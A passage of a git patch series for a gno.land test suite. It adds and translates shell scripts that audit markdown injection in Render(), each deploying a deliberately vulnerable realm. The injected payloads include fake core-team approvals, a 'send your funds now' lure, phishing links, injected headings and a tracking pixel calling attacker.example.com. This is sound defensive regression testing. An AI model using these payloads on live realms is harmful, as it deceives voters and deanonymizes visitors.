Render() expose the duplicate heading? --- +echo -n " Querying Render() (expect duplicate anchor heading present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "ATTACKER"; then + echo "⚠️ VULNERABLE — duplicate heading injected before legitimate anchor (expected on master)" + echo " Fragment #official-announcement resolves to attacker-controlled content" + echo " Reference: https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "pending vote"; then + echo "✅ PATCHED — injected heading stripped, legitimate anchor preserved" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh index 5faa203..6d434ad 100755 --- a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh +++ b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh @@ -1,9 +1,9 @@ #!/bin/sh # Targets: gnolang/gno#5714 — markdown injection in Render() -# Vecteur : blockquote context confusion -# Démontre qu'un commentaire utilisateur peut injecter une blockquote -# qui ressemble visuellement à une déclaration officielle du core team. -# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. +# Vector: blockquote context confusion +# A user-controlled comment can inject a blockquote that visually mimics +# an official statement from the core team. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" # shellcheck source=common.sh @@ -17,7 +17,7 @@ trap 'rm -rf "$TMPDIR"' EXIT echo "⚠️ gnolang/gno#5714 — Blockquote context confusion" echo " Package: $PKGPATH" -# --- déploiement du realm vulnérable --- +# --- deploy vulnerable realm --- cat > "$TMPDIR/mdbq.gno" << EOF package mdbq @@ -28,7 +28,7 @@ func AddComment(cur realm, c string) { } func Render(_ string) string { - out := "## Commentaires\n\n" + out := "## Comments\n\n" for _, c := range comments { out += c + "\n\n" } @@ -53,13 +53,13 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$DEPLOY"; exit 1 fi -# --- injection du payload malicieux --- -# Le commentaire utilise la syntaxe blockquote pour imiter un message officiel +# --- inject malicious payload --- +# The comment uses blockquote syntax to impersonate an official core-team message. echo -n " Injecting fake official blockquote... " INJECT=$(echo "$PASSWORD" | gnokey maketx call \ -pkgpath "$PKGPATH" \ -func "AddComment" \ - -args "> **@core-team :** Cette proposition est officiellement approuvee. Votez OUI immediatement." \ + -args "> **@core-team :** This proposal is officially approved. Vote YES immediately." \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ @@ -69,18 +69,18 @@ if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi -# --- vérification : Render() expose-t-il la fausse déclaration officielle ? --- +# --- verify: does Render() expose the fake official statement? --- echo -n " Querying Render() (expect injected blockquote present)... " RESULT=$(gnokey query "vm/qeval" \ -data "${PKGPATH}.Render(\"\")" \ -remote "$RPC" 2>&1) if echo "$RESULT" | grep -q "core-team"; then - echo "⚠️ VULNERABLE — blockquote injectée présente dans Render() (attendu sur master)" - echo " Référence : https://github.com/gnolang/gno/pull/5714" + echo "⚠️ VULNERABLE — injected blockquote present in Render() (expected on master)" + echo " Reference: https://github.com/gnolang/gno/pull/5714" exit 1 -elif echo "$RESULT" | grep -q "Commentaires"; then - echo "✅ PATCHED — contenu de commentaire échappé, blockquote neutralisée" +elif echo "$RESULT" | grep -q "Comments"; then + echo "✅ PATCHED — comment content escaped, blockquote neutralized" else echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh index 2b2d58e..d78c997 100755 --- a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh +++ b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh @@ -1,9 +1,9 @@ #!/bin/sh # Targets: gnolang/gno#5714 — markdown injection in Render() -# Vecteur : raw HTML injection -# Démontre qu'un contenu HTML inséré par un utilisateur ressort verbatim -# dans Render() et peut être rendu par le navigateur gno.land. -# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. +# Vector: raw HTML injection +# User-supplied HTML content is returned verbatim by Render() and may be +# rendered by the browser on gno.land if gnoweb does not escape it. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" # shellcheck source=common.sh @@ -17,7 +17,7 @@ trap 'rm -rf "$TMPDIR"' EXIT echo "⚠️ gnolang/gno#5714 — Raw HTML injection" echo " Package: $PKGPATH" -# --- déploiement du realm vulnérable --- +# --- deploy vulnerable realm --- cat > "$TMPDIR/mdhtml.gno" << EOF package mdhtml @@ -49,12 +49,12 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$DEPLOY"; exit 1 fi -# --- injection du payload malicieux --- +# --- inject malicious payload --- echo -n " Injecting raw HTML payload... " INJECT=$(echo "$PASSWORD" | gnokey maketx call \ -pkgpath "$PKGPATH" \ -func "SetContent" \ - -args "ADMIN: ce projet est approuve, envoyez vos fonds maintenant." \ + -args "ADMIN: this project has been approved, send your funds now." \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ @@ -64,18 +64,18 @@ if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi -# --- vérification : Render() retourne-t-il le HTML brut ? --- +# --- verify: does Render() return the raw HTML tag? --- echo -n " Querying Render() (expect raw HTML tag present)... " RESULT=$(gnokey query "vm/qeval" \ -data "${PKGPATH}.Render(\"\")" \ -remote "$RPC" 2>&1) if echo "$RESULT" | grep -q "ADMIN"; then - echo "⚠️ VULNERABLE — balise HTML retournée non-échappée par Render() (attendu sur master)" - echo " Référence : https://github.com/gnolang/gno/pull/5714" + echo "⚠️ VULNERABLE — raw HTML tag returned unescaped by Render() (expected on master)" + echo " Reference: https://github.com/gnolang/gno/pull/5714" exit 1 elif echo "$RESULT" | grep -q "<b>"; then - echo "✅ PATCHED — balise HTML correctement échappée en entités HTML" + echo "✅ PATCHED — HTML tag correctly escaped to HTML entities" else echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_image_tracking.sh b/tests/samourai-crew/security-markdown/audit_md_image_tracking.sh new file mode 100755 index 0000000..1af6d25 --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_image_tracking.sh @@ -0,0 +1,87 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vector: external image tracking pixel +# An attacker who can inject markdown into Render() can embed an external image +# URL. Gnoweb renders it as , causing every +# visitor's browser to load the external resource — deanonymizing viewers. +# If gnoweb ever fetches images server-side, this also becomes an SSRF vector. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdimage${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — External image tracking pixel" +echo " Package: $PKGPATH" + +# --- deploy vulnerable realm --- +cat > "$TMPDIR/mdimage.gno" << EOF +package mdimage + +var content string + +func SetContent(cur realm, c string) { + content = c +} + +func Render(_ string) string { + return content +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- inject tracking pixel --- +# The image URL is an external domain. Gnoweb renders , +# which triggers a browser request to attacker.example.com on every page view. +PAYLOAD=$(printf 'Official proposal content.\n\n![](https://attacker.example.com/track.png?realm=%s)' "$PKGPATH") +echo -n " Injecting tracking pixel... " +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "SetContent" \ + -args "$PAYLOAD" \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- verify: does Render() expose the external image URL? --- +echo -n " Querying Render() (expect external image URL present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "attacker.example.com"; then + echo "⚠️ VULNERABLE — external image URL present in Render() (expected on master)" + echo " Every gnoweb visitor's browser will load the tracking URL" + echo " Reference: https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "Official proposal"; then + echo "✅ PATCHED — external image URL stripped or blocked" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh index b886c2a..2c9de58 100755 --- a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh +++ b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh @@ -1,9 +1,9 @@ #!/bin/sh # Targets: gnolang/gno#5714 — markdown injection in Render() -# Vecteur : link URL hijacking -# Démontre qu'un message utilisateur peut contenir un lien dont le texte -# ressemble à une URL officielle mais dont la destination est malicieuse. -# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. +# Vector: link URL hijacking +# A user-controlled message can contain a link whose display text resembles +# an official URL while the actual href points to a malicious destination. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" # shellcheck source=common.sh @@ -17,7 +17,7 @@ trap 'rm -rf "$TMPDIR"' EXIT echo "⚠️ gnolang/gno#5714 — Link URL hijacking" echo " Package: $PKGPATH" -# --- déploiement du realm vulnérable --- +# --- deploy vulnerable realm --- cat > "$TMPDIR/mdlink.gno" << EOF package mdlink @@ -49,8 +49,8 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$DEPLOY"; exit 1 fi -# --- injection du payload malicieux --- -# Le texte affiché imite gno.land mais le href pointe vers phishing.example.com +# --- inject malicious payload --- +# Display text mimics gno.land but the href points to phishing.example.com. echo -n " Injecting hijacked link... " INJECT=$(echo "$PASSWORD" | gnokey maketx call \ -pkgpath "$PKGPATH" \ @@ -65,18 +65,18 @@ if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi -# --- vérification : Render() expose-t-il l'URL de phishing ? --- +# --- verify: does Render() expose the phishing URL? --- echo -n " Querying Render() (expect phishing URL present)... " RESULT=$(gnokey query "vm/qeval" \ -data "${PKGPATH}.Render(\"\")" \ -remote "$RPC" 2>&1) if echo "$RESULT" | grep -q "phishing.example.com"; then - echo "⚠️ VULNERABLE — URL de phishing présente dans Render() (attendu sur master)" - echo " Référence : https://github.com/gnolang/gno/pull/5714" + echo "⚠️ VULNERABLE — phishing URL present in Render() (expected on master)" + echo " Reference: https://github.com/gnolang/gno/pull/5714" exit 1 elif echo "$RESULT" | grep -q "gno.land/r/official"; then - echo "✅ PATCHED — URL malicieuse neutralisée" + echo "✅ PATCHED — malicious URL neutralized" else echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh index 727d6be..551dc7e 100755 --- a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh +++ b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh @@ -1,9 +1,8 @@ #!/bin/sh # Targets: gnolang/gno#5714 — markdown injection in Render() -# Vecteur : title leak into body -# Démontre qu'un titre utilisateur non-échappé peut injecter des headings -# arbitraires dans le rendu d'une proposition/page. -# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. +# Vector: user-controlled title injected unsanitized into markdown body, +# allowing arbitrary headings to be rendered in a proposal or page. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" # shellcheck source=common.sh @@ -17,12 +16,12 @@ trap 'rm -rf "$TMPDIR"' EXIT echo "⚠️ gnolang/gno#5714 — Title leak into body" echo " Package: $PKGPATH" -# --- déploiement du realm vulnérable --- +# --- deploy vulnerable realm --- cat > "$TMPDIR/mdtitle.gno" << EOF package mdtitle var title string -var body = "Ceci est le corps officiel de la proposition." +var body = "This is the official body of the proposal." func SetTitle(cur realm, t string) { title = t @@ -50,12 +49,14 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$DEPLOY"; exit 1 fi -# --- injection du payload malicieux --- +# --- inject malicious payload --- +# printf is required to get real newlines into the arg — shell double-quotes keep \n literal +PAYLOAD=$(printf 'Legitimate proposal\n\n# INJECTED: Fake proposal body\n\nMalicious content injected by attacker.') echo -n " Injecting malicious title... " INJECT=$(echo "$PASSWORD" | gnokey maketx call \ -pkgpath "$PKGPATH" \ -func "SetTitle" \ - -args "Proposition legitime\n\n# INJECTED: Faux corps de proposition\n\nContenu malicieux injecte par l'attaquant." \ + -args "$PAYLOAD" \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ @@ -65,18 +66,18 @@ if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi -# --- vérification : Render() retourne-t-il le heading injecté ? --- +# --- verify: does Render() return the injected heading? --- echo -n " Querying Render() (expect INJECTED heading present)... " RESULT=$(gnokey query "vm/qeval" \ -data "${PKGPATH}.Render(\"\")" \ -remote "$RPC" 2>&1) if echo "$RESULT" | grep -q "INJECTED"; then - echo "⚠️ VULNERABLE — heading injecté présent dans Render() (attendu sur master)" - echo " Référence : https://github.com/gnolang/gno/pull/5714" + echo "⚠️ VULNERABLE — injected heading present in Render() (expected on master)" + echo " Reference: https://github.com/gnolang/gno/pull/5714" exit 1 -elif echo "$RESULT" | grep -q "Proposition legitime"; then - echo "✅ PATCHED — titre échappé, aucun heading injecté" +elif echo "$RESULT" | grep -q "Legitimate proposal"; then + echo "✅ PATCHED — title sanitized, no heading injected" else echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 fi From d1b0009d136b888d53dcd7202eb11df4a565a891 Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 15:02:43 -0400 Subject: [PATCH 6/9] =?UTF-8?q?remove(security-markdown):=20drop=20audit?= =?UTF-8?q?=5Fmd=5Fanchor=5Fhijack=20=E2=80=94=20fragment=20hijacking=20re?= =?UTF-8?q?quires=20gnoweb,=20not=20testable=20at=20VM=20level?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../audit_md_anchor_hijack.sh | 93 ------------------- 1 file changed, 93 deletions(-) delete mode 100755 tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh diff --git a/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh deleted file mode 100755 index 2aa093b..0000000 --- a/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh +++ /dev/null @@ -1,93 +0,0 @@ -#!/bin/sh -# Targets: gnolang/gno#5714 — markdown injection in Render() -# Vector: fragment ID hijacking -# Gnoweb auto-generates id= attributes from heading text. An attacker who can -# inject a heading whose text matches a known section earlier in the page takes -# ownership of that anchor — URLs like .../realm#official-announcement scroll -# to attacker-controlled content instead of the legitimate section. -# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. - -SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" -# shellcheck source=common.sh -. "$SCRIPT_DIR/common.sh" - -SUFFIX=$(date +%s) -PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdanchor${SUFFIX}" -TMPDIR=$(mktemp -d) -trap 'rm -rf "$TMPDIR"' EXIT - -echo "⚠️ gnolang/gno#5714 — Fragment ID hijacking" -echo " Package: $PKGPATH" - -# --- deploy vulnerable realm --- -# The realm has a known anchor section (## Official Announcement) and a -# user-controlled comment prepended before it. -cat > "$TMPDIR/mdanchor.gno" << EOF -package mdanchor - -var comment string - -func SetComment(cur realm, c string) { - comment = c -} - -func Render(_ string) string { - official := "## Official Announcement\n\nThis proposal has been reviewed and is pending vote." - if comment == "" { - return official - } - return comment + "\n\n" + official -} -EOF - -cat > "$TMPDIR/gnomod.toml" << EOF -module = "${PKGPATH}" -gno = "0.9" -EOF - -echo -n " Deploying realm... " -DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ - -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ - -gas-fee 1000000ugnot -gas-wanted 10000000 \ - -broadcast -chainid "$CHAINID" -remote "$RPC" \ - -insecure-password-stdin \ - -home "$GNOKEY_HOME" \ - "$KEY" 2>&1) -if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else - echo "FAILED"; echo "$DEPLOY"; exit 1 -fi - -# --- inject payload: duplicate heading placed before the legitimate one --- -# Gnoweb assigns id="official-announcement" to the first occurrence. -# Fragment URLs pointing to #official-announcement now reach attacker content. -PAYLOAD=$(printf '## Official Announcement\n\nATTACKER: This proposal is REJECTED. Do not vote.') -echo -n " Injecting duplicate anchor heading... " -INJECT=$(echo "$PASSWORD" | gnokey maketx call \ - -pkgpath "$PKGPATH" \ - -func "SetComment" \ - -args "$PAYLOAD" \ - -gas-fee 1000000ugnot -gas-wanted 5000000 \ - -broadcast -chainid "$CHAINID" -remote "$RPC" \ - -insecure-password-stdin \ - -home "$GNOKEY_HOME" \ - "$KEY" 2>&1) -if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else - echo "FAILED"; echo "$INJECT"; exit 1 -fi - -# --- verify: does Render() expose the duplicate heading? --- -echo -n " Querying Render() (expect duplicate anchor heading present)... " -RESULT=$(gnokey query "vm/qeval" \ - -data "${PKGPATH}.Render(\"\")" \ - -remote "$RPC" 2>&1) - -if echo "$RESULT" | grep -q "ATTACKER"; then - echo "⚠️ VULNERABLE — duplicate heading injected before legitimate anchor (expected on master)" - echo " Fragment #official-announcement resolves to attacker-controlled content" - echo " Reference: https://github.com/gnolang/gno/pull/5714" - exit 1 -elif echo "$RESULT" | grep -q "pending vote"; then - echo "✅ PATCHED — injected heading stripped, legitimate anchor preserved" -else - echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 -fi From 509647233d385e91dd9ab172e111690b17cba77b Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 15:23:20 -0400 Subject: [PATCH 7/9] fix(security-markdown): wire 5th audit script, translate KNOWN notes, bump funding to 150M --- tests/samourai-crew/Makefile | 2 +- tests/samourai-crew/run_tests.sh | 18 ++++++++++-------- 2 files changed, 11 insertions(+), 9 deletions(-) diff --git a/tests/samourai-crew/Makefile b/tests/samourai-crew/Makefile index 4254c23..77c8cc6 100644 --- a/tests/samourai-crew/Makefile +++ b/tests/samourai-crew/Makefile @@ -17,7 +17,7 @@ MNEMONIC_3 := galaxy fire athlete egg three crane stone borrow thought cover sto ## list-funding-one-shot : print addresses and amounts to fund before one-shot tests list-funding-one-shot: - @echo "$(ADDR_1) 100000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot" + @echo "$(ADDR_1) 150000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot" ## list-funding-repeatable : print addresses and amounts to fund before repeatable tests list-funding-repeatable: diff --git a/tests/samourai-crew/run_tests.sh b/tests/samourai-crew/run_tests.sh index 890c60c..ec5581f 100755 --- a/tests/samourai-crew/run_tests.sh +++ b/tests/samourai-crew/run_tests.sh @@ -134,14 +134,16 @@ if [ "$MODE" = "one-shot" ] || [ "$MODE" = "all" ]; then echo "" echo "=== Security Markdown Audit (KNOWN VULNERABLE — gnolang/gno#5714) ===" - run_test "audit_md_title_leak" /tests/security-markdown/audit_md_title_leak.sh \ - "Render() retourne titre non-échappé, voir gnolang/gno#5714" - run_test "audit_md_html_inject" /tests/security-markdown/audit_md_html_inject.sh \ - "Render() retourne HTML brut, voir gnolang/gno#5714" - run_test "audit_md_link_hijack" /tests/security-markdown/audit_md_link_hijack.sh \ - "Render() retourne lien hijacké, voir gnolang/gno#5714" - run_test "audit_md_blockquote" /tests/security-markdown/audit_md_blockquote.sh \ - "Render() retourne blockquote injectée, voir gnolang/gno#5714" + run_test "audit_md_title_leak" /tests/security-markdown/audit_md_title_leak.sh \ + "Render() returns unsanitized title, see gnolang/gno#5714" + run_test "audit_md_html_inject" /tests/security-markdown/audit_md_html_inject.sh \ + "Render() returns raw HTML tag, see gnolang/gno#5714" + run_test "audit_md_link_hijack" /tests/security-markdown/audit_md_link_hijack.sh \ + "Render() returns hijacked link URL, see gnolang/gno#5714" + run_test "audit_md_blockquote" /tests/security-markdown/audit_md_blockquote.sh \ + "Render() returns injected blockquote, see gnolang/gno#5714" + run_test "audit_md_image_tracking" /tests/security-markdown/audit_md_image_tracking.sh \ + "Render() returns external image URL, see gnolang/gno#5714" echo "" echo "=== Stress Tests ===" From dfd4e608c08091711a29cfdcdc2162d9b39efa8c Mon Sep 17 00:00:00 2001 From: louis Date: Sun, 31 May 2026 20:01:14 -0400 Subject: [PATCH 8/9] =?UTF-8?q?fix(security-markdown):=20REMOTES=20?= =?UTF-8?q?=E2=86=92=20REMOTE,=20drop=20obsolete=20fallback=20in=20common.?= =?UTF-8?q?sh?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/samourai-crew/Dockerfile | 2 +- tests/samourai-crew/security-markdown/common.sh | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/tests/samourai-crew/Dockerfile b/tests/samourai-crew/Dockerfile index 9bb346e..51cec06 100644 --- a/tests/samourai-crew/Dockerfile +++ b/tests/samourai-crew/Dockerfile @@ -14,7 +14,7 @@ COPY run_tests.sh . RUN chmod +x run_tests.sh \ && find audit e2e stress security-markdown -name "*.sh" -exec chmod +x {} + -ENV REMOTES=http://127.0.0.1:26657 +ENV REMOTE=http://127.0.0.1:26657 ENV CHAINID=test # Mnemonics are injected at runtime via docker run -e (see tests/samourai-crew/Makefile) diff --git a/tests/samourai-crew/security-markdown/common.sh b/tests/samourai-crew/security-markdown/common.sh index e8f2003..8afbcb7 100755 --- a/tests/samourai-crew/security-markdown/common.sh +++ b/tests/samourai-crew/security-markdown/common.sh @@ -3,8 +3,7 @@ # KEY, PASSWORD, KEY_ADDR and GNOKEY_HOME are exported by run_tests.sh # before any script is called. Defaults below are for standalone use only. -RPC="${REMOTE:-${REMOTES%%,*}}" -RPC="${RPC:-http://127.0.0.1:26657}" +RPC="${REMOTE:-http://127.0.0.1:26657}" CHAINID="${CHAINID:-test}" KEY="${KEY:-runner}" PASSWORD="${PASSWORD:-runner1234}" From 5e1bd9287905749f49cd3afc3da5ddb401937699 Mon Sep 17 00:00:00 2001 From: louis Date: Mon, 1 Jun 2026 14:06:18 -0400 Subject: [PATCH 9/9] =?UTF-8?q?remove(gitignore):=20drop=20root=20.gitigno?= =?UTF-8?q?re=20=E2=80=94=20.env=20is=20not=20committed=20anywhere?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .gitignore | 1 - 1 file changed, 1 deletion(-) delete mode 100644 .gitignore diff --git a/.gitignore b/.gitignore deleted file mode 100644 index 4c49bd7..0000000 --- a/.gitignore +++ /dev/null @@ -1 +0,0 @@ -.env